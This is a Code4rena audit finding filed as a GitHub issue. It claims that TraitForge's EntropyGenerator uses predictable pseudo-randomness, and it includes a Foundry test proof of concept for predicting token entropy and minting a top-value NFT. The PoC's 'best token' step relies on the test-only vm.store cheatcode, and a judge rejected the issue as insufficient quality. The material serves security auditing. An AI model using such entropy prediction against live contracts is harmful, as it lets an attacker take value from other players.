code-423n4 / 2024-07-traitforge-findings

2 stars 1 forks source link

Economic Gain Exploiting PseudoRandom #122

Closed c4-bot-5 closed 3 months ago

c4-bot-5 commented 3 months ago

Lines of code

https://github.com/code-423n4/2024-07-traitforge/blob/main/contracts/EntropyGenerator/EntropyGenerator.sol#L10

Vulnerability details

Impact

EntropyGenerator uses pseudo-randomness to assign the entropy of tokens. This is problematic because, ultimately, this is a game where there is an economic gain for some. Combined with the fact that in blockchain all storage slots are accessible, any attacker can exploit these conditions to mint the best (or one of the best) tokens, gaining an advantage over others.

Proof of Concept

    function testMintBestToken() external {

        // we can see that it's possible to predict my token stats

        uint256 expectedEntropy1 = entropyGenerator.getPublicEntropy(0, 0);
        uint256 expectedEntropy2 = entropyGenerator.getPublicEntropy(0, 1);
        _userMintToken(USER);
        _userMintToken(USER);
        uint256 entropy1 = traitForgeNft.tokenEntropy(1);
        uint256 entropy2 = traitForgeNft.tokenEntropy(2);
        assert(entropy1 == expectedEntropy1);
        assert(entropy2 == expectedEntropy2);

        // here we obtain the best possible, but we do not neccesary need the best, just a very good one

        uint256 expectedSlotIndexSelectionPoint = entropyGenerator.slotIndexSelectionPoint();
        uint256 expectedNumberIndexSelectionPoint = entropyGenerator.numberIndexSelectionPoint();

        uint256 slotIndexSelectionPoint = uint256(vm.load(address(entropyGenerator), bytes32(uint256(778))));
        uint256 numberIndexSelectionPoint = uint256(vm.load(address(entropyGenerator), bytes32(uint256(779))));

        assert(slotIndexSelectionPoint == expectedSlotIndexSelectionPoint);
        assert(numberIndexSelectionPoint == expectedNumberIndexSelectionPoint);

        vm.store(address(entropyGenerator), bytes32(uint256(772)), bytes32(uint256(slotIndexSelectionPoint)));
        vm.store(address(entropyGenerator), bytes32(uint256(773)), bytes32(uint256(numberIndexSelectionPoint)));

        // mint token

        _userMintToken(USER);
        uint256 entropy3 = traitForgeNft.tokenEntropy(3);

        assert(entropy3 == 999999);
    }

Tools Used

Foundry

Recommended Mitigation Steps

Use Chainlink VRF

Assessed type

Other

c4-judge commented 2 months ago

koolexcrypto marked the issue as unsatisfactory: Insufficient quality